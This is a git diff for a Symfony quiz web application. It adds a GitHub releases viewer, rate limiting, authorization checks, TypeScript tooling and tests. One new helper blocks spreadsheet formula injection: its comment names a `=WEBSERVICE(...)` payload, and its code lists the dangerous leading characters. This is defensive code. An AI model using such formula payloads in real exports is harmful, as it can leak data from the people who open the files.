* enabled?: bool|Param, // Default: false * enabled?: bool|Param, // Default: true
* }, * },
* intl?: bool|array{ * intl?: bool|array{
* enabled?: bool|Param, // Default: true * enabled?: bool|Param, // Default: true
@@ -1496,6 +1496,13 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
* throttle_limit?: int|Param, // Another password reset cannot be made faster than this throttle time in seconds. // Default: 3600 * throttle_limit?: int|Param, // Another password reset cannot be made faster than this throttle time in seconds. // Default: 3600
* enable_garbage_collection?: bool|Param, // Enable/Disable automatic garbage collection. // Default: true * enable_garbage_collection?: bool|Param, // Enable/Disable automatic garbage collection. // Default: true
* } * }
* @psalm-type SensiolabsTypescriptConfig = array{
* source_dir?: list<scalar|Param|null>,
* binary_download_dir?: scalar|Param|null, // The directory where the SWC binary will be downloaded // Default: "%kernel.project_dir%/var"
* swc_binary?: scalar|Param|null, // The SWC binary to use // Default: null
* swc_config_file?: scalar|Param|null, // Path to .swcrc configuration file to use // Default: "%kernel.project_dir%/.swcrc"
* swc_version?: scalar|Param|null, // The SWC version to use // Default: "v1.3.92"
* }
* @psalm-type ConfigType = array{ * @psalm-type ConfigType = array{
* imports?: ImportsConfig, * imports?: ImportsConfig,
* parameters?: ParametersConfig, * parameters?: ParametersConfig,
@@ -1512,6 +1519,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
* turbo?: TurboConfig, * turbo?: TurboConfig,
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig, * stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig, * symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
* "when@dev"?: array{ * "when@dev"?: array{
* imports?: ImportsConfig, * imports?: ImportsConfig,
* parameters?: ParametersConfig, * parameters?: ParametersConfig,
@@ -1531,6 +1539,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
* turbo?: TurboConfig, * turbo?: TurboConfig,
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig, * stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig, * symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
* }, * },
* "when@prod"?: array{ * "when@prod"?: array{
* imports?: ImportsConfig, * imports?: ImportsConfig,
@@ -1549,6 +1558,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
* turbo?: TurboConfig, * turbo?: TurboConfig,
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig, * stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig, * symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
* }, * },
* "when@test"?: array{ * "when@test"?: array{
* imports?: ImportsConfig, * imports?: ImportsConfig,
@@ -1568,6 +1578,7 @@ use Symfony\Component\Config\Loader\ParamConfigurator as Param;
* dama_doctrine_test?: DamaDoctrineTestConfig, * dama_doctrine_test?: DamaDoctrineTestConfig,
* stof_doctrine_extensions?: StofDoctrineExtensionsConfig, * stof_doctrine_extensions?: StofDoctrineExtensionsConfig,
* symfonycasts_reset_password?: SymfonycastsResetPasswordConfig, * symfonycasts_reset_password?: SymfonycastsResetPasswordConfig,
* sensiolabs_typescript?: SensiolabsTypescriptConfig,
* }, * },
* ...<string, ExtensionType|array{ // extra keys must follow the when@%env% pattern or match an extension alias * ...<string, ExtensionType|array{ // extra keys must follow the when@%env% pattern or match an extension alias
* imports?: ImportsConfig, * imports?: ImportsConfig,
+33
View File
@@ -0,0 +1,33 @@
{
"exclude": ["assets/vendor/"],
"compilerOptions": {
"lib": ["deno.window", "dom", "dom.iterable"],
"strict": true,
"noImplicitOverride": false,
"types": ["./assets/types/global.d.ts"]
},
"imports": {
"@hotwired/stimulus": "npm:@hotwired/stimulus@^3.2.2",
"@hotwired/turbo": "npm:@hotwired/turbo@^8.0.23",
"bootstrap": "npm:bootstrap@^5.3.8",
"@sentry/browser": "npm:@sentry/browser@^10.63.0",
"@std/assert": "jsr:@std/assert@^1.0.19"
},
"fmt": {
"include": ["assets/"],
"exclude": ["assets/vendor/", "assets/styles/", "assets/img/"],
"singleQuote": true,
"indentWidth": 4
},
"lint": {
"include": ["assets/"],
"exclude": ["assets/vendor/"],
"rules": {
"exclude": ["no-window", "no-window-prefix"]
}
},
"test": {
"include": ["assets/"],
"exclude": ["assets/vendor/"]
}
}
Generated
+96
View File
@@ -0,0 +1,96 @@
{
"version": "5",
"specifiers": {
"jsr:@std/assert@*": "1.0.19",
"jsr:@std/assert@^1.0.19": "1.0.19",
"jsr:@std/internal@^1.0.12": "1.0.14",
"npm:@hotwired/stimulus@^3.2.2": "3.2.2",
"npm:@hotwired/turbo@^8.0.23": "8.0.23",
"npm:@sentry/browser@^10.63.0": "10.65.0",
"npm:bootstrap@^5.3.8": "5.3.8_@popperjs+core@2.11.8"
},
"jsr": {
"@std/assert@1.0.19": {
"integrity": "eaada96ee120cb980bc47e040f82814d786fe8162ecc53c91d8df60b8755991e",
"dependencies": [
"jsr:@std/internal"
]
},
"@std/internal@1.0.14": {
"integrity": "291516b3d4c35024d6ffbc0a9df5bf4c64116e05b50012cf846710152d2ffdf7"
}
},
"npm": {
"@hotwired/stimulus@3.2.2": {
"integrity": "sha512-eGeIqNOQpXoPAIP7tC1+1Yc1yl1xnwYqg+3mzqxyrbE5pg5YFBZcA6YoTiByJB6DKAEsiWtl6tjTJS4IYtbB7A=="
},
"@hotwired/turbo@8.0.23": {
"integrity": "sha512-GZ7cijxEZ6Ig71u7rD6LHaRv/wcE/hNsc+nEfiWOkLNqUgLOwo5MNGWOy5ZV9ZUDSiQx1no7YxjTNnT4O6//cQ=="
},
"@popperjs/core@2.11.8": {
"integrity": "sha512-P1st0aksCrn9sGZhp8GMYwBnQsbvAWsZAX44oXNNvLHGqAOcoVxmjZiohstwQ7SqKnbR47akdNi+uleWD8+g6A=="
},
"@sentry/browser-utils@10.65.0": {
"integrity": "sha512-4J0mkfNJAGUOkpg1ZggizyftFTn9N20b+Jl87UnWsDUkNG0Ic1l/FIzMPTVxXrAnhBGu0ULO0TFWMoQ5s3QtZw==",
"dependencies": [
"@sentry/conventions",
"@sentry/core"
]
},
"@sentry/browser@10.65.0": {
"integrity": "sha512-XUDDsx0qxzeIlcOu1fDEqTcDl0eiOqghsgV+ReuuNP4jYjZ9kUQxE3rXWM5mlT1pBi4VaQ4FHqvQZZrRXy+oDw==",
"dependencies": [
"@sentry/browser-utils",
"@sentry/conventions",
"@sentry/core",
"@sentry/feedback",
"@sentry/replay",
"@sentry/replay-canvas"
]
},
"@sentry/conventions@0.15.1": {
"integrity": "sha512-ZLP8bRdMON3prWE2tJyImuYscCxdcJeIPIhrOs/rgyFm3C1nCh1B6gdvPj3AZ5zW08oSFFCsq7T+tYEW3h8MNA=="
},
"@sentry/core@10.65.0": {
"integrity": "sha512-3aqtmM5NgNGo45BNaaBzi0LPQZAw//NEL4HKS5fXm12pJMa4KEkze8DEKnkTEIrGnWaOJKamecHKlnNg/Mqf/Q==",
"dependencies": [
"@sentry/conventions"
]
},
"@sentry/feedback@10.65.0": {
"integrity": "sha512-ck8h7wgd3F3bYNk0v1OgohmyLBeXcKxqlfBJRtQq4k6KZUq+pXimOG7ckNguVMYjCo3PEfuG+ckKc21yqotKug==",
"dependencies": [
"@sentry/core"
]
},
"@sentry/replay-canvas@10.65.0": {
"integrity": "sha512-A7X3RVk1Gk+knK8Ip/2EjejckNCLgCfRZo6eGlsy6qyz904KBpYmys1a0o7QkzFRjhIndjHAfcVxwt6jSLJlrQ==",
"dependencies": [
"@sentry/core",
"@sentry/replay"
]
},
"@sentry/replay@10.65.0": {
"integrity": "sha512-aW988CcQBNArbOMzOFOziipHz6uQyXSa4i5CPWsu+nhVPTJHafosi5Lv9n6NM/icDX5e23VdnX6mZd8SyJuo8A==",
"dependencies": [
"@sentry/browser-utils",
"@sentry/core"
]
},
"bootstrap@5.3.8_@popperjs+core@2.11.8": {
"integrity": "sha512-HP1SZDqaLDPwsNiqRqi5NcP0SSXciX2s9E+RyqJIIqGo+vJeN5AJVM98CXmW/Wux0nQ5L7jeWUdplCEf0Ee+tg==",
"dependencies": [
"@popperjs/core"
]
}
},
"workspace": {
"dependencies": [
"jsr:@std/assert@^1.0.19",
"npm:@hotwired/stimulus@^3.2.2",
"npm:@hotwired/turbo@^8.0.23",
"npm:@sentry/browser@^10.63.0",
"npm:bootstrap@^5.3.8"
]
}
}
+4
View File
@@ -33,6 +33,10 @@ if [ "$1" = 'frankenphp' ] || [ "$1" = 'php' ] || [ "$1" = 'bin/console' ]; then
fi fi
fi fi
# var/ is a Docker volume that survives redeploys, so cache.app (e.g. the GitHub releases cache)
# can carry stale entries from the previous image into the new one unless cleared here.
php bin/console cache:pool:clear cache.app
setfacl -R -m u:www-data:rwX -m u:"$(whoami)":rwX var setfacl -R -m u:www-data:rwX -m u:"$(whoami)":rwX var
setfacl -dR -m u:www-data:rwX -m u:"$(whoami)":rwX var setfacl -dR -m u:www-data:rwX -m u:"$(whoami)":rwX var
+2 -2
View File
@@ -25,8 +25,8 @@ declare(strict_types=1);
* }> * }>
*/ */
return [ return [
'quiz' => ['path' => './assets/quiz.js', 'entrypoint' => true], 'quiz' => ['path' => './assets/quiz.ts', 'entrypoint' => true],
'backoffice' => ['path' => './assets/backoffice.js', 'entrypoint' => true], 'backoffice' => ['path' => './assets/backoffice.ts', 'entrypoint' => true],
'@symfony/stimulus-bundle' => ['path' => './vendor/symfony/stimulus-bundle/assets/dist/loader.js'], '@symfony/stimulus-bundle' => ['path' => './vendor/symfony/stimulus-bundle/assets/dist/loader.js'],
'bootstrap' => ['version' => '5.3.8'], 'bootstrap' => ['version' => '5.3.8'],
'@popperjs/core' => ['version' => '2.11.8'], '@popperjs/core' => ['version' => '2.11.8'],
@@ -11,18 +11,21 @@ use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Routing\Attribute\Route;
use Symfony\Component\Routing\Requirement\Requirement; use Symfony\Component\Routing\Requirement\Requirement;
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
use Symfony\Component\Security\Http\Attribute\IsGranted;
use Tvdt\Controller\AbstractController; use Tvdt\Controller\AbstractController;
use Tvdt\Entity\Elimination; use Tvdt\Entity\Elimination;
use Tvdt\Entity\Quiz; use Tvdt\Entity\Quiz;
use Tvdt\Entity\Season; use Tvdt\Entity\Season;
use Tvdt\Enum\FlashType; use Tvdt\Enum\FlashType;
use Tvdt\Factory\EliminationFactory; use Tvdt\Factory\EliminationFactory;
use Tvdt\Security\Voter\SeasonVoter;
final class PrepareEliminationController extends AbstractController final class PrepareEliminationController extends AbstractController
{ {
public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {} public function __construct(private readonly EliminationFactory $eliminationFactory, private readonly EntityManagerInterface $em) {}
#[IsCsrfTokenValid('prepare_elimination')] #[IsCsrfTokenValid('prepare_elimination')]
#[IsGranted(SeasonVoter::ELIMINATION, 'quiz')]
#[Route( #[Route(
'/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare', '/backoffice/season/{seasonCode:season}/quiz/{quiz}/elimination/prepare',
name: 'tvdt_prepare_elimination', name: 'tvdt_prepare_elimination',
@@ -37,6 +40,7 @@ final class PrepareEliminationController extends AbstractController
} }
#[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])] #[IsCsrfTokenValid('prepare_elimination', methods: ['POST'])]
#[IsGranted(SeasonVoter::ELIMINATION, 'elimination')]
#[Route( #[Route(
'/backoffice/elimination/{elimination}', '/backoffice/elimination/{elimination}',
name: 'tvdt_prepare_elimination_view', name: 'tvdt_prepare_elimination_view',
@@ -0,0 +1,25 @@
<?php
declare(strict_types=1);
namespace Tvdt\Controller\Backoffice;
use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\Routing\Attribute\Route;
use Tvdt\Controller\AbstractController;
use Tvdt\Service\GitHubReleasesService;
final class ReleasesController extends AbstractController
{
public function __construct(
private readonly GitHubReleasesService $gitHubReleasesService,
) {}
#[Route('/backoffice/releases', name: 'tvdt_backoffice_releases', methods: ['GET'])]
public function index(): Response
{
return $this->render('backoffice/releases/_frame.html.twig', [
'releases' => $this->gitHubReleasesService->getReleases(),
]);
}
}
+7 -1
View File
@@ -8,6 +8,8 @@ use Doctrine\ORM\EntityManagerInterface;
use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\Response;
use Symfony\Component\HttpKernel\Attribute\AsController; use Symfony\Component\HttpKernel\Attribute\AsController;
use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
use Symfony\Component\RateLimiter\RateLimiterFactoryInterface;
use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\Routing\Attribute\Route;
use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid; use Symfony\Component\Security\Http\Attribute\IsCsrfTokenValid;
use Symfony\Contracts\Translation\TranslatorInterface; use Symfony\Contracts\Translation\TranslatorInterface;
@@ -30,7 +32,7 @@ use Tvdt\Repository\SeasonRepository;
#[AsController] #[AsController]
final class QuizController extends AbstractController final class QuizController extends AbstractController
{ {
public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository) {} public function __construct(private readonly TranslatorInterface $translator, private readonly EntityManagerInterface $entityManager, private readonly SeasonRepository $seasonRepository, private readonly CandidateRepository $candidateRepository, private readonly QuestionRepository $questionRepository, private readonly AnswerRepository $answerRepository, private readonly QuizCandidateRepository $quizCandidateRepository, private readonly RateLimiterFactoryInterface $seasonCodeLimiter) {}
#[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])] #[Route(path: '/', name: 'tvdt_quiz_select_season', methods: ['GET', 'POST'])]
public function selectSeason(Request $request): Response public function selectSeason(Request $request): Response
@@ -38,6 +40,10 @@ final class QuizController extends AbstractController
$form = $this->createForm(SelectSeasonType::class); $form = $this->createForm(SelectSeasonType::class);
$form->handleRequest($request); $form->handleRequest($request);
if ($form->isSubmitted() && !$this->seasonCodeLimiter->create($request->getClientIp())->consume()->isAccepted()) {
throw new TooManyRequestsHttpException();
}
if ($form->isSubmitted() && $form->isValid()) { if ($form->isSubmitted() && $form->isValid()) {
$seasonCode = $form->get('season_code')->getData(); $seasonCode = $form->get('season_code')->getData();
@@ -0,0 +1,31 @@
<?php
declare(strict_types=1);
namespace Tvdt\Helpers;
use PhpOffice\PhpSpreadsheet\Cell\Cell;
use PhpOffice\PhpSpreadsheet\Cell\DefaultValueBinder;
/**
* Stores any string that would otherwise be auto-detected as a spreadsheet formula (or that
* spreadsheet software re-interprets as one on open/paste) as plain text instead, to prevent
* formula injection via user-controlled export data (e.g. a candidate or answer named
* `=WEBSERVICE(...)`).
*/
final class FormulaInjectionSafeValueBinder extends DefaultValueBinder
{
private const string DANGEROUS_PREFIXES = "=+-@\t\r";
#[\Override]
public function bindValue(Cell $cell, mixed $value): bool
{
if (\is_string($value) && '' !== $value && str_contains(self::DANGEROUS_PREFIXES, $value[0])) {
$cell->setValueExplicit($value);
return true;
}
return parent::bindValue($cell, $value);
}
}
+5 -1
View File
@@ -5,6 +5,7 @@ declare(strict_types=1);
namespace Tvdt\Service; namespace Tvdt\Service;
use Doctrine\ORM\EntityManagerInterface; use Doctrine\ORM\EntityManagerInterface;
use PhpOffice\PhpSpreadsheet\Cell\Cell;
use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Spreadsheet;
use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet;
@@ -19,6 +20,7 @@ use Tvdt\Entity\Quiz;
use Tvdt\Entity\Season; use Tvdt\Entity\Season;
use Tvdt\Entity\User; use Tvdt\Entity\User;
use Tvdt\Helpers\FilenameSanitizer; use Tvdt\Helpers\FilenameSanitizer;
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
use Tvdt\Repository\QuizRepository; use Tvdt\Repository\QuizRepository;
use function Safe\tempnam; use function Safe\tempnam;
@@ -31,7 +33,9 @@ class DataExportService
private readonly EntityManagerInterface $entityManager, private readonly EntityManagerInterface $entityManager,
private readonly QuizSpreadsheetService $quizSpreadsheetService, private readonly QuizSpreadsheetService $quizSpreadsheetService,
private readonly QuizRepository $quizRepository, private readonly QuizRepository $quizRepository,
) {} ) {
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
}
/** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */ /** @throws FilesystemException @return string path to a temp zip file; caller is responsible for removing it */
public function exportForUser(User $user): string public function exportForUser(User $user): string
+72
View File
@@ -0,0 +1,72 @@
<?php
declare(strict_types=1);
namespace Tvdt\Service;
use Psr\Cache\InvalidArgumentException;
use Safe\DateTimeImmutable;
use Safe\Exceptions\SafeExceptionInterface;
use Symfony\Contracts\Cache\CacheInterface;
use Symfony\Contracts\Cache\ItemInterface;
use Symfony\Contracts\HttpClient\Exception\ExceptionInterface;
use Symfony\Contracts\HttpClient\HttpClientInterface;
final readonly class GitHubReleasesService
{
private const string RELEASES_URL = 'https://api.github.com/repos/MarijnDoeve/TijdVoorDeTest/releases';
public function __construct(
private HttpClientInterface $httpClient,
private CacheInterface $cache,
) {}
/**
* @throws InvalidArgumentException
*
* @return list<array{tagName: string, name: string, publishedAt: ?\DateTimeImmutable, body: string, url: string}>
*/
public function getReleases(): array
{
return $this->cache->get('github_releases', $this->fetchReleases(...));
}
/** @return list<array{tagName: string, name: string, publishedAt: ?\DateTimeImmutable, body: string, url: string}> */
private function fetchReleases(ItemInterface $item, bool &$save): array
{
try {
$response = $this->httpClient->request('GET', self::RELEASES_URL, [
'timeout' => 5,
'headers' => [
'Accept' => 'application/vnd.github+json',
'User-Agent' => 'TijdVoorDeTest',
],
]);
/** @var list<array{tag_name: string, name: ?string, published_at: ?string, body: ?string, html_url: string}> $releases */
$releases = $response->toArray();
usort($releases, static fn (array $a, array $b): int => ($b['published_at'] ?? '') <=> ($a['published_at'] ?? ''));
$result = array_map(static function (array $release): array {
$name = $release['name'] ?? '';
return [
'tagName' => $release['tag_name'],
'name' => '' !== $name ? $name : $release['tag_name'],
'publishedAt' => $release['published_at'] ? new DateTimeImmutable($release['published_at']) : null,
'body' => (string) $release['body'],
'url' => $release['html_url'],
];
}, $releases);
} catch (ExceptionInterface|SafeExceptionInterface|\DateMalformedStringException) {
$save = false;
return [];
}
$item->expiresAfter(3600);
return $result;
}
}
+7
View File
@@ -4,6 +4,7 @@ declare(strict_types=1);
namespace Tvdt\Service; namespace Tvdt\Service;
use PhpOffice\PhpSpreadsheet\Cell\Cell;
use PhpOffice\PhpSpreadsheet\Cell\Coordinate; use PhpOffice\PhpSpreadsheet\Cell\Coordinate;
use PhpOffice\PhpSpreadsheet\Reader; use PhpOffice\PhpSpreadsheet\Reader;
use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Spreadsheet;
@@ -14,9 +15,15 @@ use Tvdt\Entity\Answer;
use Tvdt\Entity\Question; use Tvdt\Entity\Question;
use Tvdt\Entity\Quiz; use Tvdt\Entity\Quiz;
use Tvdt\Exception\SpreadsheetDataException; use Tvdt\Exception\SpreadsheetDataException;
use Tvdt\Helpers\FormulaInjectionSafeValueBinder;
class QuizSpreadsheetService class QuizSpreadsheetService
{ {
public function __construct()
{
Cell::setValueBinder(new FormulaInjectionSafeValueBinder());
}
public function generateTemplate(bool $fillExample = true): \Closure public function generateTemplate(bool $fillExample = true): \Closure
{ {
$quiz = new Quiz(); $quiz = new Quiz();
+3
View File
@@ -98,6 +98,9 @@
"tests/bootstrap.php" "tests/bootstrap.php"
] ]
}, },
"sensiolabs/typescript-bundle": {
"version": "v0.2.2"
},
"sentry/sentry-symfony": { "sentry/sentry-symfony": {
"version": "5.8", "version": "5.8",
"recipe": { "recipe": {
+21 -2
View File
@@ -10,9 +10,9 @@
aria-label="Toggle navigation"> aria-label="Toggle navigation">
<span class="navbar-toggler-icon"></span> <span class="navbar-toggler-icon"></span>
</button> </button>
{% if is_granted('IS_AUTHENTICATED') %}
<div class="collapse navbar-collapse" id="navbarSupportedContent"> <div class="collapse navbar-collapse" id="navbarSupportedContent">
<ul class="navbar-nav me-auto mb-2 mb-lg-0"> <ul class="navbar-nav me-auto mb-2 mb-lg-0">
{% if is_granted('IS_AUTHENTICATED') %}
<li class="nav-item"> <li class="nav-item">
<a class="nav-link{% if 'tvdt_backoffice_index' == app.current_route() %} active{% endif %}" <a class="nav-link{% if 'tvdt_backoffice_index' == app.current_route() %} active{% endif %}"
href="{{ path('tvdt_backoffice_index') }}">{{ 'Seasons'|trans }}</a> href="{{ path('tvdt_backoffice_index') }}">{{ 'Seasons'|trans }}</a>
@@ -21,8 +21,27 @@
<a class="nav-link" <a class="nav-link"
href="{{ path('tvdt_backoffice_template') }}">{{ 'Download Template'|trans }}</a> href="{{ path('tvdt_backoffice_template') }}">{{ 'Download Template'|trans }}</a>
</li> </li>
{% endif %}
</ul> </ul>
<ul class="navbar-nav mb-auto me-2 me-lg-0"> <ul class="navbar-nav mb-auto me-2 me-lg-0">
<li class="nav-item" data-controller="bo--modal"
data-action="turbo:submit-end->bo--modal#frameSubmitEnd">
<button type="button" class="nav-link border-0 bg-transparent"
data-action="click->bo--modal#open"
data-src="{{ path('tvdt_backoffice_releases') }}"
data-modal-title="{{ 'Releases'|trans }}">{{ 'Releases'|trans }}</button>
<div class="modal fade" tabindex="-1" data-bo--modal-target="modal"
data-action="hidden.bs.modal->bo--modal#resetDirty"
aria-labelledby="releasesModalLabel" aria-hidden="true">
<div class="modal-dialog modal-lg modal-dialog-scrollable">
<div class="modal-content">
<turbo-frame id="releases-modal-frame" data-bo--modal-target="frame"></turbo-frame>
</div>
</div>
</div>
</li>
{% if is_granted('IS_AUTHENTICATED') %}
<li class="nav-item"> <li class="nav-item">
<a class="nav-link{% if 'tvdt_backoffice_settings' == app.current_route() %} active{% endif %}" <a class="nav-link{% if 'tvdt_backoffice_settings' == app.current_route() %} active{% endif %}"
href="{{ path('tvdt_backoffice_settings') }}">{{ 'Settings'|trans }}</a> href="{{ path('tvdt_backoffice_settings') }}">{{ 'Settings'|trans }}</a>
@@ -31,8 +50,8 @@
<a class="nav-link" <a class="nav-link"
href="{{ path('tvdt_login_logout') }}">{{ 'Logout'|trans }}</a> href="{{ path('tvdt_login_logout') }}">{{ 'Logout'|trans }}</a>
</li> </li>
{% endif %}
</ul> </ul>
</div> </div>
{% endif %}
</div> </div>
</nav> </nav>
@@ -0,0 +1,40 @@
<turbo-frame id="releases-modal-frame">
<div class="modal-header">
<h1 class="modal-title fs-5" id="releasesModalLabel">
{{ 'Releases'|trans }}
{% if releases[0] is defined %}
<span class="text-muted fs-6 ms-2">{{ 'Current version'|trans }}: {{ releases[0].tagName }}</span>
{% endif %}
</h1>
<button type="button" class="btn-close" data-bs-dismiss="modal" aria-label="Close"></button>
</div>
<div class="modal-body">
{% if releases is empty %}
<p class="text-muted mb-0">{{ 'Could not load releases from GitHub.'|trans }}</p>
{% else %}
<div class="accordion" id="releasesAccordion">
{% for release in releases %}
<div class="accordion-item">
<h2 class="accordion-header">
<button class="accordion-button{% if not loop.first %} collapsed{% endif %}" type="button"
data-bs-toggle="collapse" data-bs-target="#release-{{ loop.index }}">
{{ release.name }}
{% if release.publishedAt %}
<span class="text-muted ms-2 small">{{ release.publishedAt|date('d-m-Y', 'UTC') }}</span>
{% endif %}
</button>
</h2>
<div id="release-{{ loop.index }}"
class="accordion-collapse collapse{% if loop.first %} show{% endif %}"
data-bs-parent="#releasesAccordion">
<div class="accordion-body">
<div class="release-notes">{{ release.body|markdown_to_html }}</div>
<a href="{{ release.url }}" target="_blank" rel="noopener noreferrer" class="small">{{ 'View on GitHub'|trans }}</a>
</div>
</div>
</div>
{% endfor %}
</div>
{% endif %}
</div>
</turbo-frame>
@@ -117,4 +117,34 @@ final class PrepareEliminationControllerTest extends AbstractControllerWebTestCa
self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id)); self::assertResponseRedirects(\sprintf('/elimination/%s', $elimination->id));
} }
public function testIndexIsDeniedForNonOwner(): void
{
$quiz = $this->getQuizByName('Quiz 1');
$token = $this->getCsrfTokenFromPage(\sprintf('/backoffice/season/krtek/quiz/%s/result', $quiz->id), '/elimination/prepare');
$this->loginAs('test@example.org');
$this->client->request(Request::METHOD_POST, \sprintf('/backoffice/season/krtek/quiz/%s/elimination/prepare', $quiz->id), [
'_token' => $token,
]);
self::assertResponseStatusCodeSame(403);
}
public function testViewEliminationIsDeniedForNonOwner(): void
{
$quiz = $this->getQuizByName('Quiz 1');
$elimination = new Elimination($quiz);
$elimination->data = ['Tom' => Elimination::SCREEN_GREEN];
$this->entityManager->persist($elimination);
$this->entityManager->flush();
$this->loginAs('test@example.org');
$this->client->request(Request::METHOD_GET, \sprintf('/backoffice/elimination/%s', $elimination->id));
self::assertResponseStatusCodeSame(403);
}
} }
@@ -0,0 +1,55 @@
<?php
declare(strict_types=1);
namespace Tvdt\Tests\Controller\Backoffice;
use PHPUnit\Framework\Attributes\CoversClass;
use Symfony\Component\Cache\Adapter\ArrayAdapter;
use Symfony\Component\HttpClient\MockHttpClient;
use Symfony\Component\HttpClient\Response\MockResponse;
use Symfony\Component\HttpFoundation\Request;
use Tvdt\Controller\Backoffice\ReleasesController;
use Tvdt\Service\GitHubReleasesService;
use Tvdt\Tests\Controller\AbstractControllerWebTestCase;
#[CoversClass(ReleasesController::class)]
final class ReleasesControllerTest extends AbstractControllerWebTestCase
{
public function testReleasesFrameRendersReleaseNotes(): void
{
$this->loginAs('user2@example.org');
$this->mockReleasesService();
$this->client->request(Request::METHOD_GET, '/backoffice/releases');
self::assertResponseIsSuccessful();
self::assertSelectorTextContains('body', 'v0.8.0');
self::assertSelectorTextContains('body', 'Some release notes');
self::assertSelectorTextContains('#releasesModalLabel', 'Huidige versie: v0.8.0');
}
public function testReleasesFrameIsAccessibleWithoutAuthentication(): void
{
$this->mockReleasesService();
$this->client->request(Request::METHOD_GET, '/backoffice/releases');
self::assertResponseIsSuccessful();
}
private function mockReleasesService(): void
{
$body = json_encode([
[
'tag_name' => 'v0.8.0',
'name' => 'v0.8.0',
'published_at' => '2026-07-12T10:00:00Z',
'body' => 'Some release notes',
'html_url' => 'https://github.com/MarijnDoeve/TijdVoorDeTest/releases/tag/v0.8.0',
],
], \JSON_THROW_ON_ERROR);
$httpClient = new MockHttpClient([new MockResponse((string) $body, ['response_headers' => ['content-type' => 'application/json']])]);
self::getContainer()->set(GitHubReleasesService::class, new GitHubReleasesService($httpClient, new ArrayAdapter()));
}
}
+50
View File
@@ -11,6 +11,14 @@ use Tvdt\Controller\LoginController;
#[CoversClass(LoginController::class)] #[CoversClass(LoginController::class)]
final class LoginControllerTest extends AbstractControllerWebTestCase final class LoginControllerTest extends AbstractControllerWebTestCase
{ {
protected function setUp(): void
{
parent::setUp();
// Login attempts are rate-limited; start each test with a clean quota.
self::getContainer()->get('cache.rate_limiter')->clear();
}
public function testLoginPageLoadsWhenNotAuthenticated(): void public function testLoginPageLoadsWhenNotAuthenticated(): void
{ {
$this->client->request(Request::METHOD_GET, '/login'); $this->client->request(Request::METHOD_GET, '/login');
@@ -19,6 +27,24 @@ final class LoginControllerTest extends AbstractControllerWebTestCase
self::assertSelectorExists('form'); self::assertSelectorExists('form');
} }
public function testNavbarTogglerHasNoDeadTargetWhenNotAuthenticated(): void
{
$this->client->request(Request::METHOD_GET, '/login');
$crawler = $this->client->getCrawler();
$toggler = $crawler->filter('.navbar-toggler');
if (0 === $toggler->count()) {
self::assertSelectorNotExists('#navbarSupportedContent');
return;
}
$target = $toggler->attr('data-bs-target');
$this->assertNotNull($target);
self::assertSelectorExists($target);
}
public function testLoginRedirectsToBackofficeWhenAlreadyAuthenticated(): void public function testLoginRedirectsToBackofficeWhenAlreadyAuthenticated(): void
{ {
$this->loginAs('test@example.org'); $this->loginAs('test@example.org');
@@ -42,6 +68,30 @@ final class LoginControllerTest extends AbstractControllerWebTestCase
self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.'); self::assertSelectorTextContains('body', 'Ongeldige inloggegevens.');
} }
public function testLoginIsThrottledAfterTooManyFailedAttempts(): void
{
for ($i = 0; $i < 2; ++$i) {
$this->client->request(Request::METHOD_GET, '/login');
$form = $this->client->getCrawler()->filter('form')->form([
'_username' => 'test@example.org',
'_password' => 'wrong-password',
]);
$this->client->submit($form);
self::assertResponseRedirects('/login');
}
$this->client->request(Request::METHOD_GET, '/login');
$form = $this->client->getCrawler()->filter('form')->form([
'_username' => 'test@example.org',
'_password' => 'wrong-password',
]);
$this->client->submit($form);
self::assertResponseRedirects('/login');
$this->client->followRedirect();
self::assertSelectorTextContains('body', 'Te veel onjuiste inlogpogingen');
}
public function testLogoutIsInterceptedByFirewall(): void public function testLogoutIsInterceptedByFirewall(): void
{ {
